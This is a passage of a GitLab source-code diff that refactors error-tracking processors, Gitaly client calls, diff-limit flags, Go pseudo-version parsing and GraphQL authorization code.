+ # only the first one since that's what is used for grouping.
+ def process_first_exception_value(event_or_payload)
+ exceptions = exceptions(event_or_payload)
+
+ return unless exceptions.is_a?(Array)
+
+ exception = exceptions.first
+
+ return unless valid_exception?(exception)
+
+ exception_type, raw_message = type_and_value(exception)
+
+ return unless exception_type&.start_with?('GRPC::')
+ return unless raw_message.present?
+
+ message, debug_str = split_debug_error_string(raw_message)
+
+ set_new_values!(event_or_payload, exception, message, debug_str)
+ end
+
+ def process_custom_fingerprint(event)
+ fingerprint = fingerprint(event)
+
+ return event unless custom_grpc_fingerprint?(fingerprint)
+
+ message, _ = split_debug_error_string(fingerprint[1])
+ fingerprint[1] = message if message
+ end
+
+ private
+
+ def custom_grpc_fingerprint?(fingerprint)
+ fingerprint.is_a?(Array) && fingerprint.length == 2 && fingerprint[0].start_with?('GRPC::')
+ end
+
+ def split_debug_error_string(message)
+ return unless message
+
+ match = DEBUG_ERROR_STRING_REGEX.match(message)
+
+ return unless match
+
+ [match[1], match[2]]
+ end
+
+ # The below methods can be removed once we remove the
+ # sentry_processors_before_send feature flag, and we can
+ # assume we always have an Event object
+ def exceptions(event_or_payload)
+ case event_or_payload
+ when Raven::Event
+ # Better in new version, will be event_or_payload.exception.values
+ event_or_payload.instance_variable_get(:@interfaces)[:exception]&.values
+ when Hash
+ event_or_payload.dig(:exception, :values)
+ end
+ end
+
+ def valid_exception?(exception)
+ case exception
+ when Raven::SingleExceptionInterface
+ exception&.value
+ when Hash
+ true
+ else
+ false
+ end
+ end
+
+ def type_and_value(exception)
+ case exception
+ when Raven::SingleExceptionInterface
+ [exception.type, exception.value]
+ when Hash
+ exception.values_at(:type, :value)
+ end
+ end
+
+ def set_new_values!(event_or_payload, exception, message, debug_str)
+ case event_or_payload
+ when Raven::Event
+ # Worse in new version, no setter! Have to poke at the
+ # instance variable
+ exception.value = message if message
+ event_or_payload.extra[:grpc_debug_error_string] = debug_str if debug_str
+ when Hash
+ exception[:value] = message if message
+ extra = event_or_payload[:extra] || {}
+ extra[:grpc_debug_error_string] = debug_str if debug_str
+ end
+ end
+
+ def fingerprint(event_or_payload)
+ case event_or_payload
+ when Raven::Event
+ event_or_payload.fingerprint
+ when Hash
+ event_or_payload[:fingerprint]
+ end
+ end
end
end
end
diff --git a/lib/gitlab/error_tracking/processor/sidekiq_processor.rb b/lib/gitlab/error_tracking/processor/sidekiq_processor.rb
index 272cb689ad5..93310745ece 100644
--- a/lib/gitlab/error_tracking/processor/sidekiq_processor.rb
+++ b/lib/gitlab/error_tracking/processor/sidekiq_processor.rb
@@ -8,39 +8,66 @@ module Gitlab
class SidekiqProcessor < ::Raven::Processor
FILTERED_STRING = '[FILTERED]'
- def self.filter_arguments(args, klass)
- args.lazy.with_index.map do |arg, i|
- case arg
- when Numeric
- arg
- else
- if permitted_arguments_for_worker(klass).include?(i)
+ class << self
+ def filter_arguments(args, klass)
+ args.lazy.with_index.map do |arg, i|
+ case arg
+ when Numeric
arg
else
- FILTERED_STRING
+ if permitted_arguments_for_worker(klass).include?(i)
+ arg
+ else
+ FILTERED_STRING
+ end
end
end
end
- end
- def self.permitted_arguments_for_worker(klass)
- @permitted_arguments_for_worker ||= {}
- @permitted_arguments_for_worker[klass] ||=
- begin
- klass.constantize&.loggable_arguments&.to_set
- rescue
- Set.new
+ def permitted_arguments_for_worker(klass)
+ @permitted_arguments_for_worker ||= {}
+ @permitted_arguments_for_worker[klass] ||=
+ begin
+ klass.constantize&.loggable_arguments&.to_set
+ rescue
+ Set.new
+ end
+ end
+
+ def loggable_arguments(args, klass)
+ Gitlab::Utils::LogLimitedArray
+ .log_limited_array(filter_arguments(args, klass))
+ .map(&:to_s)
+ .to_a
+ end
+
+ def call(event)
+ return event unless ::Feature.enabled?(:sentry_processors_before_send, default_enabled: :yaml)
+
+ sidekiq = event&.extra&.dig(:sidekiq)
+
+ return event unless sidekiq
+
+ sidekiq = sidekiq.deep_dup
+ sidekiq.delete(:jobstr)
+
+ # 'args' in this hash => from Gitlab::ErrorTracking.track_*
+ # 'args' in :job => from default error handler
+ job_holder = sidekiq.key?('args') ? sidekiq : sidekiq[:job]
+
+ if job_holder['args']
+ job_holder['args'] = filter_arguments(job_holder['args'], job_holder['class']).to_a
end
- end
- def self.loggable_arguments(args, klass)
- Gitlab::Utils::LogLimitedArray
- .log_limited_array(filter_arguments(args, klass))
- .map(&:to_s)
- .to_a
+ event.extra[:sidekiq] = sidekiq
+
+ event
+ end
end
def process(value, key = nil)
+ return value if ::Feature.enabled?(:sentry_processors_before_send, default_enabled: :yaml)
+
sidekiq = value.dig(:extra, :sidekiq)
return value unless sidekiq
diff --git a/lib/gitlab/exclusive_lease.rb b/lib/gitlab/exclusive_lease.rb
index b602393b59e..ef0236f8275 100644
--- a/lib/gitlab/exclusive_lease.rb
+++ b/lib/gitlab/exclusive_lease.rb
@@ -15,14 +15,14 @@ module Gitlab
PREFIX = 'gitlab:exclusive_lease'
NoKey = Class.new(ArgumentError)
- LUA_CANCEL_SCRIPT = <<~EOS.freeze
+ LUA_CANCEL_SCRIPT = <<~EOS
local key, uuid = KEYS[1], ARGV[1]
if redis.call("get", key) == uuid then
redis.call("del", key)
end
EOS
- LUA_RENEW_SCRIPT = <<~EOS.freeze
+ LUA_RENEW_SCRIPT = <<~EOS
local key, uuid, ttl = KEYS[1], ARGV[1], ARGV[2]
if redis.call("get", key) == uuid then
redis.call("expire", key, ttl)
diff --git a/lib/gitlab/experimentation.rb b/lib/gitlab/experimentation.rb
index 1bb29ba3eac..145bb6d7b8f 100644
--- a/lib/gitlab/experimentation.rb
+++ b/lib/gitlab/experimentation.rb
@@ -34,10 +34,6 @@
module Gitlab
module Experimentation
EXPERIMENTS = {
- upgrade_link_in_user_menu_a: {
- tracking_category: 'Growth::Expansion::Experiment::UpgradeLinkInUserMenuA',
- use_backwards_compatible_subject_index: true
- },
invite_members_version_b: {
tracking_category: 'Growth::Expansion::Experiment::InviteMembersVersionB',
use_backwards_compatible_subject_index: true
diff --git a/lib/gitlab/external_authorization/access.rb b/lib/gitlab/external_authorization/access.rb
index e111c41fcc2..21fa728fd3a 100644
--- a/lib/gitlab/external_authorization/access.rb
+++ b/lib/gitlab/external_authorization/access.rb
@@ -10,7 +10,8 @@ module Gitlab
:load_type
def initialize(user, label)
- @user, @label = user, label
+ @user = user
+ @label = label
end
def loaded?
diff --git a/lib/gitlab/external_authorization/cache.rb b/lib/gitlab/external_authorization/cache.rb
index acdc028b4dc..509daeb0248 100644
--- a/lib/gitlab/external_authorization/cache.rb
+++ b/lib/gitlab/external_authorization/cache.rb
@@ -6,7 +6,8 @@ module Gitlab
VALIDITY_TIME = 6.hours
def initialize(user, label)
- @user, @label = user, label
+ @user = user
+ @label = label
end
def load
diff --git a/lib/gitlab/external_authorization/client.rb b/lib/gitlab/external_authorization/client.rb
index fc859304eab..582051010d3 100644
--- a/lib/gitlab/external_authorization/client.rb
+++ b/lib/gitlab/external_authorization/client.rb
@@ -13,7 +13,8 @@ module Gitlab
}.freeze
def initialize(user, label)
- @user, @label = user, label
+ @user = user
+ @label = label
end
def request_access
@@ -51,18 +52,18 @@ module Gitlab
def body
@body ||= begin
- body = {
- user_identifier: @user.email,
- project_classification_label: @label,
- identities: @user.identities.map { |identity| { provider: identity.provider, extern_uid: identity.extern_uid } }
- }
+ body = {
+ user_identifier: @user.email,
+ project_classification_label: @label,
+ identities: @user.identities.map { |identity| { provider: identity.provider, extern_uid: identity.extern_uid } }
+ }
- if @user.ldap_identity
- body[:user_ldap_dn] = @user.ldap_identity.extern_uid
- end
+ if @user.ldap_identity
+ body[:user_ldap_dn] = @user.ldap_identity.extern_uid
+ end
- body
- end
+ body
+ end
end
end
end
diff --git a/lib/gitlab/fogbugz_import/importer.rb b/lib/gitlab/fogbugz_import/importer.rb
index bd5d2e53180..612865ed1be 100644
--- a/lib/gitlab/fogbugz_import/importer.rb
+++ b/lib/gitlab/fogbugz_import/importer.rb
@@ -199,8 +199,7 @@ module Gitlab
def linkify_issues(str)
str = str.gsub(/([Ii]ssue) ([0-9]+)/, '\1 #\2')
- str = str.gsub(/([Cc]ase) ([0-9]+)/, '\1 #\2')
- str
+ str.gsub(/([Cc]ase) ([0-9]+)/, '\1 #\2')
end
def escape_for_markdown(str)
@@ -208,8 +207,7 @@ module Gitlab
str = str.gsub(/^-/, "\\-")
str = str.gsub("`", "\\~")
str = str.delete("\r")
- str = str.gsub("\n", " \n")
- str
+ str.gsub("\n", " \n")
end
def format_content(raw_content)
diff --git a/lib/gitlab/git/blame.rb b/lib/gitlab/git/blame.rb
index 9e24306c05e..a5b1b7d914b 100644
--- a/lib/gitlab/git/blame.rb
+++ b/lib/gitlab/git/blame.rb
@@ -30,8 +30,10 @@ module Gitlab
end
def process_raw_blame(output)
- lines, final = [], []
- info, commits = {}, {}
+ lines = []
+ final = []
+ info = {}
+ commits = {}
# process the output
output.split("\n").each do |line|
diff --git a/lib/gitlab/git/commit.rb b/lib/gitlab/git/commit.rb
index ff99803d8de..51baed32935 100644
--- a/lib/gitlab/git/commit.rb
+++ b/lib/gitlab/git/commit.rb
@@ -390,7 +390,7 @@ module Gitlab
@committer_name = commit.committer.name.dup
@committer_email = commit.committer.email.dup
@parent_ids = Array(commit.parent_ids)
- @trailers = Hash[commit.trailers.map { |t| [t.key, t.value] }]
+ @trailers = commit.trailers.to_h { |t| [t.key, t.value] }
end
# Gitaly provides a UNIX timestamp in author.date.seconds, and a timezone
diff --git a/lib/gitlab/git/diff_collection.rb b/lib/gitlab/git/diff_collection.rb
index 19462e6cb02..fb947c80b7e 100644
--- a/lib/gitlab/git/diff_collection.rb
+++ b/lib/gitlab/git/diff_collection.rb
@@ -82,6 +82,30 @@ module Gitlab
!!@overflow
end
+ def overflow_max_lines?
+ !!@overflow_max_lines
+ end
+
+ def overflow_max_bytes?
+ !!@overflow_max_bytes
+ end
+
+ def overflow_max_files?
+ !!@overflow_max_files
+ end
+
+ def collapsed_safe_lines?
+ !!@collapsed_safe_lines
+ end
+
+ def collapsed_safe_files?
+ !!@collapsed_safe_files
+ end
+
+ def collapsed_safe_bytes?
+ !!@collapsed_safe_bytes
+ end
+
def size
@size ||= count # forces a loop using each method
end
@@ -103,10 +127,9 @@ module Gitlab
end
def decorate!
- collection = each_with_index do |element, i|
+ each_with_index do |element, i|
@array[i] = yield(element)
end
- collection
end
alias_method :to_ary, :to_a
@@ -121,7 +144,15 @@ module Gitlab
end
def over_safe_limits?(files)
- files >= safe_max_files || @line_count > safe_max_lines || @byte_count >= safe_max_bytes
+ if files >= safe_max_files
+ @collapsed_safe_files = true
+ elsif @line_count > safe_max_lines
+ @collapsed_safe_lines = true
+ elsif @byte_count >= safe_max_bytes
+ @collapsed_safe_bytes = true
+ end
+
+ @collapsed_safe_files || @collapsed_safe_lines || @collapsed_safe_bytes
end
def expand_diff?
@@ -154,6 +185,7 @@ module Gitlab
if @enforce_limits && i >= max_files
@overflow = true
+ @overflow_max_files = true
break
end
@@ -166,10 +198,19 @@ module Gitlab
@line_count += diff.line_count
@byte_count += diff.diff.bytesize
- if @enforce_limits && (@line_count >= max_lines || @byte_count >= max_bytes)
+ if @enforce_limits && @line_count >= max_lines
+ # This last Diff instance pushes us over the lines limit. We stop and
+ # discard it.
+ @overflow = true
+ @overflow_max_lines = true
+ break
+ end
+
+ if @enforce_limits && @byte_count >= max_bytes
# This last Diff instance pushes us over the lines limit. We stop and
# discard it.
@overflow = true
+ @overflow_max_bytes = true
break
end
diff --git a/lib/gitlab/git/merge_base.rb b/lib/gitlab/git/merge_base.rb
index b27f7038c26..905d72cadbf 100644
--- a/lib/gitlab/git/merge_base.rb
+++ b/lib/gitlab/git/merge_base.rb
@@ -6,7 +6,8 @@ module Gitlab
include Gitlab::Utils::StrongMemoize
def initialize(repository, refs)
- @repository, @refs = repository, refs
+ @repository = repository
+ @refs = refs
end
# Returns the SHA of the first common ancestor
diff --git a/lib/gitlab/git/patches/commit_patches.rb b/lib/gitlab/git/patches/commit_patches.rb
index c62994432d3..1182db10c34 100644
--- a/lib/gitlab/git/patches/commit_patches.rb
+++ b/lib/gitlab/git/patches/commit_patches.rb
@@ -7,7 +7,10 @@ module Gitlab
include Gitlab::Git::WrapsGitalyErrors
def initialize(user, repository, branch, patch_collection)
- @user, @repository, @branch, @patches = user, repository, branch, patch_collection
+ @user = user
+ @repository = repository
+ @branch = branch
+ @patches = patch_collection
end
def commit
diff --git a/lib/gitlab/git/repository.rb b/lib/gitlab/git/repository.rb
index e316d52ac05..3361cee733b 100644
--- a/lib/gitlab/git/repository.rb
+++ b/lib/gitlab/git/repository.rb
@@ -599,9 +599,9 @@ module Gitlab
tags.find { |tag| tag.name == name }
end
- def merge_to_ref(user, source_sha, branch, target_ref, message, first_parent_ref, allow_conflicts)
+ def merge_to_ref(user, **kwargs)
wrapped_gitaly_errors do
- gitaly_operation_client.user_merge_to_ref(user, source_sha, branch, target_ref, message, first_parent_ref, allow_conflicts)
+ gitaly_operation_client.user_merge_to_ref(user, **kwargs)
end
end
@@ -1017,6 +1017,10 @@ module Gitlab
gitaly_repository_client.search_files_by_name(ref, safe_query)
end
+ def search_files_by_regexp(filter, ref = 'HEAD')
+ gitaly_repository_client.search_files_by_regexp(ref, filter)
+ end
+
def find_commits_by_message(query, ref, path, limit, offset)
wrapped_gitaly_errors do
gitaly_commit_client
diff --git a/lib/gitlab/git/tag.rb b/lib/gitlab/git/tag.rb
index da86d6baf4a..568e894a02f 100644
--- a/lib/gitlab/git/tag.rb
+++ b/lib/gitlab/git/tag.rb
@@ -87,6 +87,10 @@ module Gitlab
end
end
+ def cache_key
+ "tag:" + Digest::SHA1.hexdigest([name, message, target, target_commit&.sha].join)
+ end
+
private
def message_from_gitaly_tag
diff --git a/lib/gitlab/git/wiki.rb b/lib/gitlab/git/wiki.rb
index 55ff3c6caf1..75d6b949874 100644
--- a/lib/gitlab/git/wiki.rb
+++ b/lib/gitlab/git/wiki.rb
@@ -102,12 +102,6 @@ module Gitlab
end
end
- def file(name, version)
- wrapped_gitaly_errors do
- gitaly_find_file(name, version)
- end
- end
-
# options:
# :page - The Integer page number.
# :per_page - The number of items per page.
@@ -161,13 +155,6 @@ module Gitlab
nil
end
- def gitaly_find_file(name, version)
- wiki_file = gitaly_wiki_client.find_file(name, version)
- return unless wiki_file
-
- Gitlab::Git::WikiFile.new(wiki_file)
- end
-
def gitaly_list_pages(limit: 0, sort: nil, direction_desc: false, load_content: false)
params = { limit: limit, sort: sort, direction_desc: direction_desc }
diff --git a/lib/gitlab/git/wiki_file.rb b/lib/gitlab/git/wiki_file.rb
index 7f09173f05c..c56a17c52f3 100644
--- a/lib/gitlab/git/wiki_file.rb
+++ b/lib/gitlab/git/wiki_file.rb
@@ -5,25 +5,11 @@ module Gitlab
class WikiFile
attr_reader :mime_type, :raw_data, :name, :path
- # This class wraps Gitlab::GitalyClient::WikiFile
- def initialize(gitaly_file)
- @mime_type = gitaly_file.mime_type
- @raw_data = gitaly_file.raw_data
- @name = gitaly_file.name
- @path = gitaly_file.path
- end
-
- def self.from_blob(blob)
- hash = {
- name: File.basename(blob.name),
- mime_type: blob.mime_type,
- path: blob.path,
- raw_data: blob.data
- }
-
- gitaly_file = Gitlab::GitalyClient::WikiFile.new(hash)
-
- Gitlab::Git::WikiFile.new(gitaly_file)
+ def initialize(blob)
+ @mime_type = blob.mime_type
+ @raw_data = blob.data
+ @name = File.basename(blob.name)
+ @path = blob.path
end
end
end
diff --git a/lib/gitlab/git_access.rb b/lib/gitlab/git_access.rb
index c5ca46827cb..31e4755192e 100644
--- a/lib/gitlab/git_access.rb
+++ b/lib/gitlab/git_access.rb
@@ -91,6 +91,7 @@ module Gitlab
when *PUSH_COMMANDS
check_push_access!
end
+ check_additional_conditions!
success_result
end
@@ -530,6 +531,10 @@ module Gitlab
def size_checker
container.repository_size_checker
end
+
+ # overriden in EE
+ def check_additional_conditions!
+ end
end
end
diff --git a/lib/gitlab/gitaly_client.rb b/lib/gitlab/gitaly_client.rb
index e3788814dd5..f4a89edecd1 100644
--- a/lib/gitlab/gitaly_client.rb
+++ b/lib/gitlab/gitaly_client.rb
@@ -215,7 +215,7 @@ module Gitlab
'client_name' => CLIENT_NAME
}
- context_data = Labkit::Context.current&.to_h
+ context_data = Gitlab::ApplicationContext.current
feature_stack = Thread.current[:gitaly_feature_stack]
feature = feature_stack && feature_stack[0]
diff --git a/lib/gitlab/gitaly_client/attributes_bag.rb b/lib/gitlab/gitaly_client/attributes_bag.rb
index f935281ac2e..74e6279708e 100644
--- a/lib/gitlab/gitaly_client/attributes_bag.rb
+++ b/lib/gitlab/gitaly_client/attributes_bag.rb
@@ -3,7 +3,7 @@
module Gitlab
module GitalyClient
# This module expects an `ATTRS` const to be defined on the subclass
- # See GitalyClient::WikiFile for an example
+ # See GitalyClient::WikiPage for an example
module AttributesBag
extend ActiveSupport::Concern
diff --git a/lib/gitlab/gitaly_client/blob_service.rb b/lib/gitlab/gitaly_client/blob_service.rb
index c66b3335d89..669fb1c0a31 100644
--- a/lib/gitlab/gitaly_client/blob_service.rb
+++ b/lib/gitlab/gitaly_client/blob_service.rb
@@ -78,17 +78,7 @@ module Gitlab
end
def get_new_lfs_pointers(revision, limit, not_in, dynamic_timeout = nil)
- request = Gitaly::GetNewLFSPointersRequest.new(
- repository: @gitaly_repo,
- revision: encode_binary(revision),
- limit: limit || 0
- )
-
- if not_in.nil? || not_in == :all
- request.not_in_all = true
- else
- request.not_in_refs += not_in
- end
+ request, rpc = create_new_lfs_pointers_request(revision, limit, not_in)
timeout =
if dynamic_timeout
@@ -100,7 +90,7 @@ module Gitlab
response = GitalyClient.call(
@gitaly_repo.storage_name,
:blob_service,
- :get_new_lfs_pointers,
+ rpc,
request,
timeout: timeout
)
@@ -118,6 +108,39 @@ module Gitlab
private
+ def create_new_lfs_pointers_request(revision, limit, not_in)
+ # If the check happens for a change which is using a quarantine
+ # environment for incoming objects, then we can avoid doing the
+ # necessary graph walk to detect only new LFS pointers and instead scan
+ # through all quarantined objects.
+ git_env = ::Gitlab::Git::HookEnv.all(@gitaly_repo.gl_repository)
+ if Feature.enabled?(:lfs_integrity_inspect_quarantined_objects, @project, default_enabled: :yaml) && git_env['GIT_OBJECT_DIRECTORY_RELATIVE'].present?
+ repository = @gitaly_repo.dup
+ repository.git_alternate_object_directories = Google::Protobuf::RepeatedField.new(:string)
+
+ request = Gitaly::ListAllLFSPointersRequest.new(
+ repository: repository,
+ limit: limit || 0
+ )
+
+ [request, :list_all_lfs_pointers]
+ else
+ request = Gitaly::GetNewLFSPointersRequest.new(
+ repository: @gitaly_repo,
+ revision: encode_binary(revision),
+ limit: limit || 0
+ )
+
+ if not_in.nil? || not_in == :all
+ request.not_in_all = true
+ else
+ request.not_in_refs += not_in
+ end
+
+ [request, :get_new_lfs_pointers]
+ end
+ end
+
def consume_blob_response(response)
data = []
blob = nil
diff --git a/lib/gitlab/gitaly_client/call.rb b/lib/gitlab/gitaly_client/call.rb
index 9d4d86997ad..4bb184bee2f 100644
--- a/lib/gitlab/gitaly_client/call.rb
+++ b/lib/gitlab/gitaly_client/call.rb
@@ -50,11 +50,11 @@ module Gitlab
end
def recording_request
- start = Gitlab::Metrics::System.monotonic_time
+ @start = Gitlab::Metrics::System.monotonic_time
yield
ensure
- @duration += Gitlab::Metrics::System.monotonic_time - start
+ @duration += Gitlab::Metrics::System.monotonic_time - @start
end
def store_timings
@@ -64,8 +64,14 @@ module Gitlab
request_hash = @request.is_a?(Google::Protobuf::MessageExts) ? @request.to_h : {}
- GitalyClient.add_call_details(feature: "#{@service}##{@rpc}", duration: @duration, request: request_hash, rpc: @rpc,
- backtrace: Gitlab::BacktraceCleaner.clean_backtrace(caller))
+ GitalyClient.add_call_details(
+ start: @start,
+ feature: "#{@service}##{@rpc}",
+ duration: @duration,
+ request: request_hash,
+ rpc: @rpc,
+ backtrace: Gitlab::BacktraceCleaner.clean_backtrace(caller)
+ )
end
end
end
diff --git a/lib/gitlab/gitaly_client/commit_service.rb b/lib/gitlab/gitaly_client/commit_service.rb
index ef5221a8042..3d24b4d53a4 100644
--- a/lib/gitlab/gitaly_client/commit_service.rb
+++ b/lib/gitlab/gitaly_client/commit_service.rb
@@ -107,6 +107,8 @@ module Gitlab
entry.data = data.join
entry unless entry.oid.blank?
+ rescue GRPC::NotFound
+ nil
end
def tree_entries(repository, revision, path, recursive)
diff --git a/lib/gitlab/gitaly_client/operation_service.rb b/lib/gitlab/gitaly_client/operation_service.rb
index 6f302b2c4e7..5ce1b1f0c87 100644
--- a/lib/gitlab/gitaly_client/operation_service.rb
+++ b/lib/gitlab/gitaly_client/operation_service.rb
@@ -103,7 +103,7 @@ module Gitlab
end
end
- def user_merge_to_ref(user, source_sha, branch, target_ref, message, first_parent_ref, allow_conflicts)
+ def user_merge_to_ref(user, source_sha:, branch:, target_ref:, message:, first_parent_ref:, allow_conflicts: false)
request = Gitaly::UserMergeToRefRequest.new(
repository: @gitaly_repo,
source_sha: source_sha,
diff --git a/lib/gitlab/gitaly_client/repository_service.rb b/lib/gitlab/gitaly_client/repository_service.rb
index bd450249355..a93f4071efc 100644
--- a/lib/gitlab/gitaly_client/repository_service.rb
+++ b/lib/gitlab/gitaly_client/repository_service.rb
@@ -339,6 +339,11 @@ module Gitlab
search_results_from_response(response, options)
end
+ def search_files_by_regexp(ref, filter)
+ request = Gitaly::SearchFilesByNameRequest.new(repository: @gitaly_repo, ref: ref, query: '.', filter: filter)
+ GitalyClient.call(@storage, :repository_service, :search_files_by_name, request, timeout: GitalyClient.fast_timeout).flat_map(&:files)
+ end
+
def disconnect_alternates
request = Gitaly::DisconnectGitAlternatesRequest.new(
repository: @gitaly_repo
diff --git a/lib/gitlab/gitaly_client/storage_settings.rb b/lib/gitlab/gitaly_client/storage_settings.rb
index 7edd42f9ef7..dd9e3d5d28b 100644
--- a/lib/gitlab/gitaly_client/storage_settings.rb
+++ b/lib/gitlab/gitaly_client/storage_settings.rb
@@ -11,7 +11,7 @@ module Gitlab
DirectPathAccessError = Class.new(StandardError)
InvalidConfigurationError = Class.new(StandardError)
- INVALID_STORAGE_MESSAGE = <<~MSG.freeze
+ INVALID_STORAGE_MESSAGE = <<~MSG
Storage is invalid because it has no `path` key.
For source installations, update your config/gitlab.yml Refer to gitlab.yml.example for an updated example.
diff --git a/lib/gitlab/gitaly_client/wiki_file.rb b/lib/gitlab/gitaly_client/wiki_file.rb
deleted file mode 100644
index ef2b23732d1..00000000000
--- a/lib/gitlab/gitaly_client/wiki_file.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module GitalyClient
- class WikiFile
- ATTRS = %i(name mime_type path raw_data).freeze
-
- include AttributesBag
- end
- end
-end
diff --git a/lib/gitlab/gitaly_client/wiki_service.rb b/lib/gitlab/gitaly_client/wiki_service.rb
index 9034edb6263..fecc2b7023d 100644
--- a/lib/gitlab/gitaly_client/wiki_service.rb
+++ b/lib/gitlab/gitaly_client/wiki_service.rb
@@ -153,32 +153,6 @@ module Gitlab
versions
end
- def find_file(name, revision)
- request = Gitaly::WikiFindFileRequest.new(
- repository: @gitaly_repo,
- name: encode_binary(name),
- revision: encode_binary(revision)
- )
-
- response = GitalyClient.call(@repository.storage, :wiki_service, :wiki_find_file, request, timeout: GitalyClient.fast_timeout)
- wiki_file = nil
-
- response.each do |message|
- next unless message.name.present? || wiki_file
-
- if wiki_file
- wiki_file.raw_data = "#{wiki_file.raw_data}#{message.raw_data}"
- else
- wiki_file = GitalyClient::WikiFile.new(message.to_h)
- # All gRPC strings in a response are frozen, so we get
- # an unfrozen version here so appending in the else clause below doesn't blow up.
- wiki_file.raw_data = wiki_file.raw_data.dup
- end
- end
-
- wiki_file
- end
-
private
# If a block is given and the yielded value is truthy, iteration will be
diff --git a/lib/gitlab/golang.rb b/lib/gitlab/golang.rb
index f2dc668c482..31b7a198b92 100644
--- a/lib/gitlab/golang.rb
+++ b/lib/gitlab/golang.rb
@@ -2,10 +2,12 @@
module Gitlab
module Golang
+ PseudoVersion = Struct.new(:semver, :timestamp, :commit_id)
+
extend self
def local_module_prefix
- @gitlab_prefix ||= "#{Settings.build_gitlab_go_url}/".freeze
+ @gitlab_prefix ||= "#{Settings.build_gitlab_go_url}/"
end
def semver_tag?(tag)
@@ -37,11 +39,11 @@ module Gitlab
end
# This pattern is intentionally more forgiving than the patterns
- # above. Correctness is verified by #pseudo_version_commit.
+ # above. Correctness is verified by #validate_pseudo_version.
/\A\d{14}-\h+\z/.freeze.match? pre
end
- def pseudo_version_commit(project, semver)
+ def parse_pseudo_version(semver)
# Per Go's implementation of pseudo-versions, a tag should be
# considered a pseudo-version if it matches one of the patterns
# listed in #pseudo_version?, regardless of the content of the
@@ -55,9 +57,14 @@ module Gitlab
# - [Pseudo-version request processing](https://github.com/golang/go/blob/master/src/cmd/go/internal/modfetch/coderepo.go)
# Go ignores anything before '.' or after the second '-', so we will do the same
- timestamp, sha = semver.prerelease.split('-').last 2
+ timestamp, commit_id = semver.prerelease.split('-').last 2
timestamp = timestamp.split('.').last
- commit = project.repository.commit_by(oid: sha)
+
+ PseudoVersion.new(semver, timestamp, commit_id)
+ end
+
+ def validate_pseudo_version(project, version, commit = nil)
+ commit ||= project.repository.commit_by(oid: version.commit_id)
# Error messages are based on the responses of proxy.golang.org
@@ -65,10 +72,10 @@ module Gitlab
raise ArgumentError.new 'invalid pseudo-version: unknown commit' unless commit
# Require the SHA fragment to be 12 characters long
- raise ArgumentError.new 'invalid pseudo-version: revision is shorter than canonical' unless sha.length == 12
+ raise ArgumentError.new 'invalid pseudo-version: revision is shorter than canonical' unless version.commit_id.length == 12
# Require the timestamp to match that of the commit
- raise ArgumentError.new 'invalid pseudo-version: does not match version-control timestamp' unless commit.committed_date.strftime('%Y%m%d%H%M%S') == timestamp
+ raise ArgumentError.new 'invalid pseudo-version: does not match version-control timestamp' unless commit.committed_date.strftime('%Y%m%d%H%M%S') == version.timestamp
commit
end
@@ -77,6 +84,14 @@ module Gitlab
Packages::SemVer.parse(str, prefixed: true)
end
+ def go_path(project, path = nil)
+ if path.blank?
+ "#{local_module_prefix}/#{project.full_path}"
+ else
+ "#{local_module_prefix}/#{project.full_path}/#{path}"
+ end
+ end
+
def pkg_go_dev_url(name, version = nil)
if version
"https://pkg.go.dev/#{name}@#{version}"
diff --git a/lib/gitlab/gon_helper.rb b/lib/gitlab/gon_helper.rb
index c7e215c143f..08c17058fcb 100644
--- a/lib/gitlab/gon_helper.rb
+++ b/lib/gitlab/gon_helper.rb
@@ -45,7 +45,7 @@ module Gitlab
# Initialize gon.features with any flags that should be
# made globally available to the frontend
push_frontend_feature_flag(:snippets_binary_blob, default_enabled: false)
- push_frontend_feature_flag(:usage_data_api, default_enabled: true)
+ push_frontend_feature_flag(:usage_data_api, type: :ops, default_enabled: :yaml)
push_frontend_feature_flag(:security_auto_fix, default_enabled: false)
end
diff --git a/lib/gitlab/grape_logging/loggers/context_logger.rb b/lib/gitlab/grape_logging/loggers/context_logger.rb
index 0a8f0872fbe..468a296886e 100644
--- a/lib/gitlab/grape_logging/loggers/context_logger.rb
+++ b/lib/gitlab/grape_logging/loggers/context_logger.rb
@@ -6,7 +6,7 @@ module Gitlab
module Loggers
class ContextLogger < ::GrapeLogging::Loggers::Base
def parameters(_, _)
- Labkit::Context.current.to_h
+ Gitlab::ApplicationContext.current
end
end
end
diff --git a/lib/gitlab/graphql/authorize.rb b/lib/gitlab/graphql/authorize.rb
deleted file mode 100644
index e83b567308b..00000000000
--- a/lib/gitlab/graphql/authorize.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Graphql
- # Allow fields to declare permissions their objects must have. The field
- # will be set to nil unless all required permissions are present.
- module Authorize
- extend ActiveSupport::Concern
-
- def self.use(schema_definition)
- schema_definition.instrument(:field, Gitlab::Graphql::Authorize::Instrumentation.new, after_built_ins: true)
- end
- end
- end
-end
diff --git a/lib/gitlab/graphql/authorize/authorize_field_service.rb b/lib/gitlab/graphql/authorize/authorize_field_service.rb
deleted file mode 100644
index e8db619f88a..00000000000
--- a/lib/gitlab/graphql/authorize/authorize_field_service.rb
+++ /dev/null
@@ -1,147 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Graphql
- module Authorize
- class AuthorizeFieldService
- def initialize(field)
- @field = field
- @old_resolve_proc = @field.resolve_proc
- end
-
- def authorizations?
- authorizations.present?
- end
-
- def authorized_resolve
- proc do |parent_typed_object, args, ctx|
- resolved_type = @old_resolve_proc.call(parent_typed_object, args, ctx)
- authorizing_object = authorize_against(parent_typed_object, resolved_type)
-
- filter_allowed(ctx[:current_user], resolved_type, authorizing_object)
- end
- end
-
- private
-
- def authorizations
- @authorizations ||= (type_authorizations + field_authorizations).uniq
- end
-
- # Returns any authorize metadata from the return type of @field
- def type_authorizations
- type = @field.type
-
- # When the return type of @field is a collection, find the singular type
- if @field.connection?
- type = node_type_for_relay_connection(type)
- elsif type.list?
- type = node_type_for_basic_connection(type)
- end
-
- type = type.unwrap if type.kind.non_null?
-
- Array.wrap(type.metadata[:authorize])
- end
-
- # Returns any authorize metadata from @field
- def field_authorizations
- return [] if @field.metadata[:authorize] == true
-
- Array.wrap(@field.metadata[:authorize])
- end
-
- def authorize_against(parent_typed_object, resolved_type)
- if scalar_type?
- # The field is a built-in/scalar type, or a list of scalars
- # authorize using the parent's object
- parent_typed_object.object
- elsif @field.connection? || @field.type.list? || resolved_type.is_a?(Array)
- # The field is a connection or a list of non-built-in types, we'll
- # authorize each element when rendering
- nil
- elsif resolved_type.respond_to?(:object)
